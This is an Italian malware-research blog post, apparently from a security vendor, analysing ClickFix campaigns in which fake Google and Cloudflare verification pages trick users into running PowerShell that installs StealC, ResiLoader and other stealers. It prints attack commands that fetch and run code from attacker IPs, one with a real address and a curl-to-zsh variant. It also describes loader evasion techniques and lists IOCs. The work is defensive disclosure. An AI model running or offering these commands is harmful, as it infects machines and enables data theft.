Gli attacchi ClickFix, che inducono gli utenti a eseguire autonomamente comandi dannosi, continuano a evolversi. Questa ultima campagna utilizza pagine di verifica fasulle di Google e Cloudflare per convincere le vittime a infettare i propri dispositivi.
Un solo errore può portare all'installazione di malware in grado di rubare password e altri dati sensibili, consentire agli hacker di accedere in remoto al tuo computer o scaricare ulteriore malware che può assumere il pieno controllo del tuo sistema.
Abbiamo scoperto diverse campagne che utilizzavano la stessa infrastruttura per diffondere malware, tra cui HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport e uno stealer basato su Rust.
In una catena di infezione, una versione trojanizzata dell’app di messaggistica legittima Franz scarica un loader finora sconosciuto, denominato ResiLoader, che disattiva il software di sicurezza prima di distribuire l’infostealer StealC.
Prima di addentrarci nei dettagli tecnici, ecco come evitare di diventare la prossima vittima.
Come stare al sicuro
Gli attacchi ClickFix puntano a convincerti a eseguire tu stesso dei comandi. L'approccio più sicuro è semplice:
- Non copiare né eseguire mai comandi da un sito web, a meno che non si stiano seguendo le istruzioni fornite da una fonte affidabile e si comprenda esattamente cosa fa il comando.
- Diffidate delle pagine di verifica. Google, Cloudflare, Microsoft e altri servizi legittimi non vi chiederanno mai di incollare comandi PowerShell in Windows dimostrare che siete umani o Windows risolvere un problema.
- Non lasciarti mettere sotto pressione dall'urgenza. Le pagine di verifica fasulle spesso utilizzano timer con conto alla rovescia, contatori di visitatori o avvisi per spingerti ad agire in fretta.
- Mantieni aggiornato il tuo software di sicurezza. La protezione in tempo reale e quella per il web possono aiutarti a bloccare i siti web dannosi prima ancora che tu vi acceda.
- Mettete in discussione le istruzioni tecniche inattese. Se un sito web vi chiede di aprire PowerShell, il Prompt dei comandi o il Terminale, fermatevi e verificate le istruzioni tramite i canali di assistenza ufficiali dell’azienda.
Consiglio da esperto: Malwarebytes Browser Guard può avvisarti quando un sito web tenta di copiare contenuti negli appunti: un trucco comunemente utilizzato dalle pagine ClickFix.
Analisi tecnica
Le campagne analizzate in questa ricerca sono attive almeno dalla fine del 2025 e utilizzano una serie di pagine false di Google e Cloudflare per diffondere malware. Sebbene le esche differiscano tra loro, condividono in gran parte la stessa infrastruttura e la stessa catena di infezione, con gli autori degli attacchi che testano continuamente nuovi metodi di diffusione e nuovi payload.
Esche diverse, un unico obiettivo
La maggior parte delle campagne presenta diverse caratteristiche in comune:
- Utilizzo della cartella
C:\ProgramData\Zoomsper estrarre le fasi successive - Comandi ClickFix di PowerShell che seguono schemi simili
- Utilizzo dei bucket R2 di Cloudflare per la distribuzione dei payload
- Indirizzi IP ospitati da ASN Dedik Services Limited
- Risposte HTML contenenti esclusivamente la frase
"hehe"
Questi indicatori sono cambiati nel corso del tempo, pertanto non compaiono in tutte le catene di infezione. Le campagne continuano a evolversi, con l’introduzione regolare di nuovi payload e metodi di distribuzione. Ad esempio, in alcuni casi, l’indirizzo IP viene utilizzato direttamente per la distribuzione del payload al posto dei bucket.
Il comando finale copiato dall'utente di solito segue questo schema:
powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
La porta e il percorso non sono sempre presenti nei casi analizzati; le porte sono casuali, ma alcune di quelle utilizzate sono: 6600, 9900, 5506, 7895, 7493, 149, 8442.
Per eseguire questi comandi vengono utilizzati diversi modelli relativi a ClickFix, principalmente legati a Google e Cloudflare. Abbiamo inoltre rilevato che, in alcuni casi, il comando PowerShell è stato distribuito tramite il framework IClickFix.
Abbiamo osservato che queste campagne ClickFix venivano diffuse tramite:
- Vecchi siti web che probabilmente sono scaduti e sono stati riacquistati dal/dai responsabile/i.
- CloudFlare Pages (
.pages.devdomini). - Siti web compromessi.
- Servizi fasulli, ad esempio quelli relativi ai codici QR o all'accesso a file web.
Google ClickFix attira gli utenti
Gli autori di queste campagne utilizzano varie pagine HTML e kit legati a Google.
Una delle esche simula la procedura di verifica reCAPTCHA di Google. Le pagine sono ospitate su URL casuali che mostrano contenuti falsi o dannosi. Questi domini sono spesso registrazioni di vecchia data che recentemente hanno iniziato a puntare a nuovi indirizzi IP, il che suggerisce che siano stati riutilizzati per questa campagna.
Alcune di queste pagine contengono parametri URL quali “zoneid”, “cost”, “device”, “country” e “clickid”, ad esempio:
/conf/captcha.html?zoneid=10420852/wincapbot/nobot.html/xmr/trkuste.php?zone=5327134bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop


In questo caso, le funzioni relative a ClickFix sono implementate nella classe CustomCaptcha. Il comando è presente in chiaro, senza alcuna offuscamento.

Un altro metodo di distribuzione utilizza Cloudflare Pages ospitato su .pages.dev sottodomini.

In questo caso, la pagina HTML viene offuscata dichiarando diverse variabili e applicando loro l'operazione XOR. Il codice deoffuscato si chiama SECURITY GATEWAY ed è composto dalle funzioni GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, e PanelController.
Il codice consente agli autori dell'attacco di recuperare il comando sia da remoto che localmente. In questo esempio, il comando PowerShell dannoso è memorizzato localmente.

Abbiamo inoltre scoperto che alcuni di questi domini hanno diffuso in passato un’altra esca, in questo caso associata a un accesso non autorizzato a Google. Questa esca di ClickFix chiede all’utente di copiare e incollare il comando dannoso per impostare il proprio dispositivo come principale.

L'aspetto interessante di questo kit ClickFix è che prevede un "meccanismo di approvazione", come descritto nei commenti, e che l'autore dell'attacco deve selezionare manualmente dal pannello il comando che l'utente dovrà eseguire.


Nelle campagne più recenti, abbiamo individuato un'esca ClickFix legata a Google Meet, che richiede di copiare e incollare un comando dannoso per risolvere problemi audio.

Nei casi analizzati, l'endpoint /api/driver-clipboard.php ha restituito il seguente comando dannoso:
{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""}
Altre esche
Gli autori di questa campagna utilizzano vari kit e esche, per lo più legati a Google. Tuttavia, abbiamo individuato altre esche che copiavano comandi relativi alla stessa infrastruttura.
Gli autori di queste campagne compromettono inoltre diversi siti web utilizzando vari modelli legati all’esca CloudFlare ClickFix.


Abbiamo individuato diversi modelli utilizzati per le pagine CloudFlare. Nei casi analizzati, il comando è presente in chiaro o, in alcuni casi, offuscato.



Abbiamo inoltre individuato alcuni siti web di servizi fasulli creati appositamente. Ad esempio, il sito “My QR Generator” mostra un codice QR offuscato e chiede all’utente di eseguire un comando PowerShell per verificare che non si tratti di un robot.

In questo caso il comando è codificato in base-64:

Programma per il download di PowerShell
Il comando ClickFix eseguito dall'utente decodifica uno script e lo salva nella cartella Temp con il nome tmp{4 char}.tmp.ps1.
Abbiamo individuato diverse varianti di questo script, ma le versioni più recenti funzionano nel modo seguente:
- Crea la cartella
C:\ProgramData\Zooms. - Download fase successiva da un bucket di CloudFlare e salvala in
C:\ProgramData\Zooms. In alcune varianti dello script, la fase successiva viene scaricata direttamente da un indirizzo IP. - Invia le informazioni relative al computer compromesso a
http://{IP}/dl-callback. In alcune varianti del copione, questa parte non è presente.

Gli autori di queste campagne utilizzano un gran numero di payload diversi. Le campagne diffondono un’ampia varietà di payload. La tabella sottostante riassume alcuni dei nomi dei file scaricati e il malware che installano. In molti dei casi analizzati, il payload finale è stato distribuito tramite DLL Hijacking, come vedremo più avanti anche nel caso dello stealer StealC.
| File distribuito | Malware diffuso |
libEGL.zip, Safe-1.zip | App Electron infettata da un trojan, ResiLoader e StealC |
Test.msi | Deno Loader e PowerShell Stealer |
arworks.zip | Amatera Stealer |
water-night.zip | Remus Stealer |
Setup.msi, Invintrum_first.msi | NetSupport |
traffic1.msi | CastleLoader |
ibrowser.exe | Il ladro di ruggine |
Abbiamo analizzato un nuovo loader denominato ResiLoader che, in ultima analisi, distribuisce StealC. Abbiamo inoltre rilevato che, nelle campagne più recenti, l’autore della minaccia ha iniziato a utilizzare Deno per distribuire, nella fase finale, uno stealer sviluppato in PowerShell; l’analisi di questa catena di infezione potrebbe essere oggetto di un futuro articolo sul blog.
L'app Electron infettata da un trojan scarica ResiLoader
In questo caso, il file ZIP è stato scaricato da:
pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip
Dopo l'estrazione in:
C:\ProgramData\Zooms\libEGL.zip_ext
Il file zip contiene una versione infettata da un trojan dell'app di messaggistica open source denominata “Franz”:

Il codice dannoso è implementato nel index.js file:

Il programma di download esegue le seguenti operazioni:
- Decodifica le stringhe con la funzione
HC(). - Letture
readme.txt, prevede una chiave di campagna del tipoAAAA-BBBB, lo restituisce come array di token. In questo caso il nome èresiloader-1e per questo chiamiamo “ResiLoader” la DLL scaricata. - Letture
%APPDATA%\setup.txt; se assente, genera una stringa casuale di 8 caratteri e la memorizza. - Ottenere la persistenza utilizzando
app.setLoginItemSettings. - Invia una richiesta POST a
https[:]//completstep[.]com/api/e elaborare la risposta JSON- Se
task.ese è presente, viene eseguitoeval(task.e); consente all'autore dell'attacco di eseguire codice JavaScript arbitrario. - Se
task.filesse è presente, creare%TEMP%\<Date.now()>\, decodificare e scrivere ogni file; se il nome di un file termina con.exe, eseguirlo tramitechild_process.exec.
- Se
Nel nostro caso abbiamo ricevuto un file ZIP che esegue il dirottamento della DLL di ssh-add.exe:
{"task":{"name":"JUNE18USY","files":{
"msys-2.0.dll":"<base64>",
"msys-crypto-3.dll":"<base64>",
"msys-gcc_s-seh-1.dll":"<base64>",
"ssh-add.exe":"<base64>" }}}
Successivamente, il file eseguibile è stato lanciato con:
C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe""
ResiLoader
Il msys-crypto-3.dll è un codice offuscato .NET NativeAOT loader che mette in atto una strategia di elusione dei sistemi antivirus ed EDR utilizzando una tecnica BYOD, ottiene la persistenza e, infine, carica lo stealer StealC. Non abbiamo trovato un’attribuzione specifica per questo loader e quindi lo abbiamo denominato “ResiLoader” sulla base della stringa presente in precedenti readme.txt.
Il loader contiene diverse stringhe, alcune in chiaro e altre crittografate. Una volta decrittografate le stringhe, è possibile avere un quadro completo delle funzionalità di ResiLoader.
MANPO: ReadModule len=...
MANPO: magicOffset=...
…
PERS: FAIL all file copies failed, skipping run key
PERS: FAIL both HKLM and HKCU Run key writes failed
…
RUNPE: CreateProcess failed
RUNPE: PEB patched
RUNPE: VirtualAllocEx failed
…
POST: RunForever exited (unexpected)
POST: entering RunForever
POST: hollow=
Il caricatore esegue le seguenti operazioni:
- Estrai il blob codificato contenente due payload leggendo il marcatore
AtLorenBasee la lunghezza del blob codificato. Successivamente, decodifica il blob e decrittografa il driverpcdhost.sys(OPSWAT
(AppRemover Driver) e il payload StealC utilizzando un algoritmo di decrittografia personalizzato. - Terminare più di 140 processi correlati alle attività EDR/AV utilizzando il driver disattivato.
- Eseguire il bypass dell'UAC tramite
ICMLuaUtilInterfaccia COM avanzata. - Crea una cartella
C:\ProgramData\Google Update, copiandosi; aggiungendo la persistenza tramite la chiave di registro RUN cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe
Alla fine, il loader esegue l'hollowing del processo ServiceModelReg.exe per eseguire lo stealer StealC.
CIO
Hash
72907d0ca3258365838626f6a8d993a6: DLL di ResiLoader
0234E3188F2883A438B3F2BEAB7A78B2: StealC
6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus
206ce339febca0c3bcc850f42595fc63: Amatera Stealer
eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT
b8d53740024d126cb55f83854335a4ab: Rust Stealer
Domini
Distribuisci le pagine di ClickFix:
onegeekworld[.]com
thefirmos[.]com
antibotv3[.]com
centralwildcats[.]com
cloud.antibotv3[.]com
cloudautosolutions[.]com
sunseekersupply[.]com
123clocks[.]com
orcanegames[.]com
rwmonitoring[.]com
100furniture[.]com
nepalcharchaa[.]com
p-floribunds.pages[.]dev
pg-altirade2.pages[.]dev
pg-cordivant-m6.pages[.]dev
g-luminence.pages[.]dev
generator-qrcode[.]online
regdev-google[.]com
khosla[.]capital
eorgke09054909j[.]com
dropboxi[.]com
Bucket CloudFlare utilizzati per la distribuzione del payload:
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-620528e2dc874e16937673265aa23d39.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-9682d5896df841679c5a17eb41273f89.r2[.]dev
pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev
pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
unitedstateverif[.]com: distribuzione del carico utile
bigflaredefence[.]com: distribuzione del carico utile
popularcard[.]shop: Rust Stealer C2
xzz[.]proxygrid[.]cc: Amatera Stealer C2
completstep[.]com: Caricatore C2
eventlogerps1[.]ink: Deno Loader
be231ro963[.]com: Deno Loader
IP
Indirizzo IP utilizzato per la distribuzione del payload:
151.240.151[.]126
85.239.149[.]16
85.239.149[.]40
93.152.224[.]29
151.240.151[.]46
93.152.224[.]167
85.239.149[.]78
192.69.195[.]131
135.181.171[.]40
94.26.83[.]206
91.92.34[.]128
85.239.144[.]31
93.152.224[.]39
94.26.90[.]112
146.19.248[.]120: StealC C2
Ringraziamenti
- Dominio correlato segnalato: https://x.com/stop_spammerz/status/2070152741037477960
- Dominio correlato segnalato: https://x.com/Yuki27183/status/2047354005605777850
- Segnalazione di un caso di infezione da parte di un utente su Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/
- Possibile catena di contagio correlata https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026




